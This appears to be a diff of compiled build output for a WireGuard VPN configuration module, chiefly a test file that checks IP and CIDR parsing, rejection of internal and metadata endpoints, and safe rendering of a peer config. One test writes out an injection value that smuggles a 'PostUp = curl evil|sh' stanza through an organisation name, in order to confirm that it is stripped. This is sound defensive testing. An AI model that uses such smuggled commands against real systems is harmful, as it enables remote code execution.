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"}
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=vpn-network.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"vpn-network.test.d.ts","sourceRoot":"","sources":["../src/vpn-network.test.ts"],"names":[],"mappings":""}
@@ -0,0 +1,178 @@
1
+ import { test } from "node:test";
2
+ import assert from "node:assert/strict";
3
+ import { allocateTunnelCidr, cidrsOverlap, formatIpv4, isNonPublicIpv4, isWireguardKey, parseCidr, parseEndpoint, parseIpv4, renderGatewayPeerConfig, tunnelAddresses, validateVpnTunnelConfig, } from "./vpn-network.js";
4
+ // 32 zero bytes, base64 — a syntactically valid WireGuard key.
5
+ const KEY = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
6
+ const valid = (over = {}) => ({
7
+ gatewayEndpoint: "vpn.example.com:51820",
8
+ gatewayPublicKey: KEY,
9
+ lanCidrs: ["10.20.0.0/16"],
10
+ dnsServer: "10.20.0.2",
11
+ allowedDomains: ["corp.example.com"],
12
+ tunnelCidr: "169.254.200.0/30",
13
+ ...over,
14
+ });
15
+ test("parseIpv4/formatIpv4 round-trip and reject malformed or ambiguous input", () => {
16
+ assert.equal(formatIpv4(parseIpv4("10.20.30.40")), "10.20.30.40");
17
+ assert.equal(formatIpv4(parseIpv4("255.255.255.255")), "255.255.255.255");
18
+ for (const bad of ["1.2.3", "256.1.1.1", "1.2.3.4.5", "01.2.3.4", "a.b.c.d", "1.2.3.-4", ""]) {
19
+ assert.equal(parseIpv4(bad), null, bad);
20
+ }
21
+ });
22
+ test("parseCidr rejects set host bits, bad prefixes and extra slashes instead of normalizing", () => {
23
+ assert.deepEqual(parseCidr("10.20.0.0/16"), { network: parseIpv4("10.20.0.0"), prefix: 16 });
24
+ for (const bad of ["10.20.0.5/16", "10.0.0.0/33", "10.0.0.0", "10.0.0.0/", "10.0.0.0/16/1", "10.0.0.0/-1", "10.0.0.0/ 8"]) {
25
+ assert.equal(parseCidr(bad), null, bad);
26
+ }
27
+ assert.ok(parseCidr("0.0.0.0/0"));
28
+ });
29
+ test("cidrsOverlap is symmetric and handles containment and adjacency", () => {
30
+ const p = (c) => parseCidr(c);
31
+ assert.equal(cidrsOverlap(p("10.0.0.0/8"), p("10.20.0.0/16")), true);
32
+ assert.equal(cidrsOverlap(p("10.20.0.0/16"), p("10.0.0.0/8")), true);
33
+ assert.equal(cidrsOverlap(p("10.20.0.0/16"), p("10.21.0.0/16")), false);
34
+ assert.equal(cidrsOverlap(p("10.20.0.0/24"), p("10.20.0.0/24")), true);
35
+ });
36
+ test("tunnelAddresses: customer gateway is .1, AppForge side is .2, only for a /30", () => {
37
+ assert.deepEqual(tunnelAddresses("169.254.200.4/30"), { gateway: "169.254.200.5", local: "169.254.200.6" });
38
+ assert.equal(tunnelAddresses("169.254.200.0/29"), null);
39
+ assert.equal(tunnelAddresses("nonsense"), null);
40
+ });
41
+ test("isWireguardKey accepts a canonical 32-byte key and rejects wrong length, charset and non-canonical tails", () => {
42
+ assert.equal(isWireguardKey(KEY), true);
43
+ assert.equal(isWireguardKey("AAAA"), false);
44
+ assert.equal(isWireguardKey(KEY.replace("=", "")), false);
45
+ assert.equal(isWireguardKey("A".repeat(42) + "B="), false); // low bits of last char set
46
+ assert.equal(isWireguardKey("!".repeat(43) + "="), false);
47
+ });
48
+ test("parseEndpoint accepts DNS names and public IPv4, rejects internal targets and IPv6 literals", () => {
49
+ assert.deepEqual(parseEndpoint("VPN.Example.com:51820"), { host: "vpn.example.com", port: 51820 });
50
+ assert.deepEqual(parseEndpoint("203.0.113.9:443"), { host: "203.0.113.9", port: 443 });
51
+ for (const bad of [
52
+ "vpn.example.com",
53
+ "vpn.example.com:0",
54
+ "vpn.example.com:70000",
55
+ "vpn.example.com:abc",
56
+ "10.0.0.1:51820",
57
+ "192.168.1.1:51820",
58
+ "172.16.0.1:51820",
59
+ "127.0.0.1:51820",
60
+ "169.254.169.254:51820",
61
+ "100.64.0.1:51820",
62
+ "[2001:db8::1]:51820",
63
+ "localhost:51820",
64
+ "a.localhost:51820",
65
+ "singlelabel:51820",
66
+ "999.1.1.1:51820",
67
+ "0x7f.0.0.1:51820",
68
+ "0xa9.0xfe.0xa9.0xfe:51820",
69
+ "0x0a.1:5",
70
+ "vpn.example.123:51820",
71
+ "0xff.example.com:51820",
72
+ ]) {
73
+ assert.ok("error" in parseEndpoint(bad), bad);
74
+ }
75
+ });
76
+ test("validateVpnTunnelConfig accepts a normal config", () => {
77
+ assert.deepEqual(validateVpnTunnelConfig(valid()), []);
78
+ assert.deepEqual(validateVpnTunnelConfig(valid({ dnsServer: null, allowedDomains: [] })), []);
79
+ });
80
+ test("validateVpnTunnelConfig refuses default routes, over-broad, loopback, link-local and multicast LANs", () => {
81
+ for (const lan of ["0.0.0.0/0", "10.0.0.0/7", "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "240.0.0.0/8", "0.0.0.0/8"]) {
82
+ const errors = validateVpnTunnelConfig(valid({ lanCidrs: [lan], dnsServer: null, allowedDomains: [] }));
83
+ assert.ok(errors.length > 0, lan);
84
+ }
85
+ assert.deepEqual(validateVpnTunnelConfig(valid({ lanCidrs: ["10.0.0.0/8"], dnsServer: null, allowedDomains: [] })), []);
86
+ });
87
+ test("validateVpnTunnelConfig refuses empty, duplicate, malformed and too many LAN CIDRs", () => {
88
+ assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: [], dnsServer: null, allowedDomains: [] })).length > 0);
89
+ assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: ["10.1.0.0/16", "10.1.0.0/16"] })).some((e) => e.includes("more than once")));
90
+ assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: ["10.1.0.5/16"] })).length > 0);
91
+ const many = Array.from({ length: 17 }, (_, i) => `10.${i}.0.0/16`);
92
+ assert.ok(validateVpnTunnelConfig(valid({ lanCidrs: many, dnsServer: null, allowedDomains: [] })).some((e) => e.includes("at most")));
93
+ });
94
+ test("validateVpnTunnelConfig refuses a tunnel /30 that overlaps a LAN or sits in a reserved range", () => {
95
+ assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "10.20.5.0/30" })).some((e) => e.includes("overlaps")));
96
+ assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "169.254.200.0/29" })).length > 0);
97
+ assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "169.254.169.252/30" })).length > 0); // cloud metadata
98
+ assert.ok(validateVpnTunnelConfig(valid({ tunnelCidr: "127.0.0.0/30" })).length > 0);
99
+ // A customer who already uses 169.254.200.x on their LAN can't use it for the LAN (link-local is
100
+ // forbidden there), so the override they'd reach for is a private /30 outside their LAN:
101
+ assert.deepEqual(validateVpnTunnelConfig(valid({ tunnelCidr: "172.31.255.0/30" })), []);
102
+ });
103
+ test("validateVpnTunnelConfig requires the DNS server inside a LAN range and domains to have one", () => {
104
+ assert.ok(validateVpnTunnelConfig(valid({ dnsServer: "8.8.8.8" })).some((e) => e.includes("inside one of")));
105
+ assert.ok(validateVpnTunnelConfig(valid({ dnsServer: "not-an-ip" })).length > 0);
106
+ assert.ok(validateVpnTunnelConfig(valid({ dnsServer: null })).some((e) => e.includes("needs a dnsServer")));
107
+ assert.ok(validateVpnTunnelConfig(valid({ allowedDomains: ["not a domain"] })).length > 0);
108
+ assert.deepEqual(validateVpnTunnelConfig(valid({ allowedDomains: ["*.corp.example.com"] })), []);
109
+ });
110
+ test("validateVpnTunnelConfig reports every problem at once", () => {
111
+ const errors = validateVpnTunnelConfig({
112
+ gatewayEndpoint: "10.0.0.1",
113
+ gatewayPublicKey: "short",
114
+ lanCidrs: ["0.0.0.0/0"],
115
+ tunnelCidr: "x",
116
+ });
117
+ assert.ok(errors.length >= 4, errors.join(" | "));
118
+ });
119
+ test("allocateTunnelCidr returns a /30 in the pool, never the metadata slice, and avoids declared LANs", () => {
120
+ for (const r of [0, 0.25, 0.5, 0.999999]) {
121
+ const out = allocateTunnelCidr(["10.0.0.0/8"], () => r);
122
+ assert.deepEqual(validateVpnTunnelConfig(valid({ tunnelCidr: out, lanCidrs: ["10.0.0.0/8"], dnsServer: null, allowedDomains: [] })), []);
123
+ assert.ok(out.startsWith("169.254."));
124
+ assert.ok(!out.startsWith("169.254.169."));
125
+ }
126
+ // A random source stuck on the metadata slice still terminates with a valid answer.
127
+ let calls = 0;
128
+ const out = allocateTunnelCidr([], () => (calls++ < 3 ? 0.15 : 0.9));
129
+ assert.ok(!out.startsWith("169.254.169."));
130
+ });
131
+ test("allocateTunnelCidr throws rather than looping forever when nothing is free", () => {
132
+ // A random source that always lands on the same slot, with a LAN covering it.
133
+ assert.throws(() => allocateTunnelCidr(["169.254.192.0/18"], () => 0.5));
134
+ });
135
+ test("renderGatewayPeerConfig gives the customer a Peer block with our key, PSK and a /32 for our side, and no Endpoint", () => {
136
+ const text = renderGatewayPeerConfig({
137
+ orgName: "Acme",
138
+ tunnelCidr: "169.254.200.0/30",
139
+ ourPublicKey: KEY,
140
+ presharedKey: KEY,
141
+ lanCidrs: ["10.20.0.0/16", "10.30.0.0/16"],
142
+ });
143
+ assert.match(text, /\[Peer\]/);
144
+ assert.match(text, new RegExp(`^PublicKey = ${KEY}$`, "m"));
145
+ assert.match(text, new RegExp(`^PresharedKey = ${KEY}$`, "m"));
146
+ assert.match(text, /AllowedIPs = 169\.254\.200\.2\/32/);
147
+ assert.match(text, /address 169\.254\.200\.1\/30/);
148
+ assert.match(text, /10\.20\.0\.0\/16, 10\.30\.0\.0\/16/);
149
+ assert.doesNotMatch(text, /^Endpoint\s*=/m);
150
+ assert.throws(() => renderGatewayPeerConfig({ orgName: "x", tunnelCidr: "10.0.0.0/24", ourPublicKey: KEY, presharedKey: KEY, lanCidrs: [] }));
151
+ });
152
+ test("renderGatewayPeerConfig can't be made to emit extra stanzas through the org name, keys or LANs", () => {
153
+ const base = { tunnelCidr: "169.254.200.0/30", ourPublicKey: KEY, presharedKey: KEY, lanCidrs: ["10.20.0.0/16"] };
154
+ const evil = "Acme\n[Interface]\nPostUp = curl evil|sh\r\n[Peer]\nPublicKey = X\u2028AllowedIPs = 0.0.0.0/0";
155
+ const text = renderGatewayPeerConfig({ ...base, orgName: evil });
156
+ // Exactly the one [Peer] we wrote, no [Interface], and nothing but comments around it.
157
+ assert.equal(text.match(/^\[/gm)?.length, 1);
158
+ assert.doesNotMatch(text, /^\s*(\[Interface\]|PostUp)/m);
159
+ for (const line of text.split("\n"))
160
+ assert.match(line, /^(#|\[Peer\]$|(PublicKey|PresharedKey|AllowedIPs) = [A-Za-z0-9+/=.\/]+$)/);
161
+ assert.ok(!/[\r\u2028\u2029]/.test(text));
162
+ assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", ourPublicKey: `${KEY}\nPostUp = x` }));
163
+ assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", presharedKey: "nope" }));
164
+ assert.throws(() => renderGatewayPeerConfig({ ...base, orgName: "x", lanCidrs: ["10.0.0.0/8\nPostUp = x"] }));
165
+ // A name that is nothing but junk still yields a sensible header.
166
+ assert.match(renderGatewayPeerConfig({ ...base, orgName: "\n\n\t" }), /for your organization/);
167
+ // Ordinary punctuation and non-ASCII letters survive.
168
+ assert.match(renderGatewayPeerConfig({ ...base, orgName: "Müller & Söhne (EE)" }), /for Müller & Söhne \(EE\)/);
169
+ });
170
+ test("isNonPublicIpv4 flags every range a customer gateway can never legitimately be in, and passes public addresses", () => {
171
+ for (const ip of ["0.0.0.1", "10.1.2.3", "100.64.0.1", "100.127.255.255", "127.0.0.1", "169.254.169.254", "172.16.0.1", "172.31.255.255", "192.168.1.1", "224.0.0.1", "239.255.255.255", "240.0.0.1", "255.255.255.255"]) {
172
+ assert.equal(isNonPublicIpv4(parseIpv4(ip)), true, ip);
173
+ }
174
+ for (const ip of ["8.8.8.8", "1.1.1.1", "203.0.113.9", "172.15.255.255", "172.32.0.1", "100.63.255.255", "100.128.0.1", "192.169.0.1"]) {
175
+ assert.equal(isNonPublicIpv4(parseIpv4(ip)), false, ip);
176
+ }
177
+ });
178
+ //# sourceMappingURL=vpn-network.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"vpn-network.test.js","sourceRoot":"","sources":["../src/vpn-network.test.ts"],"names":[],"mappings":"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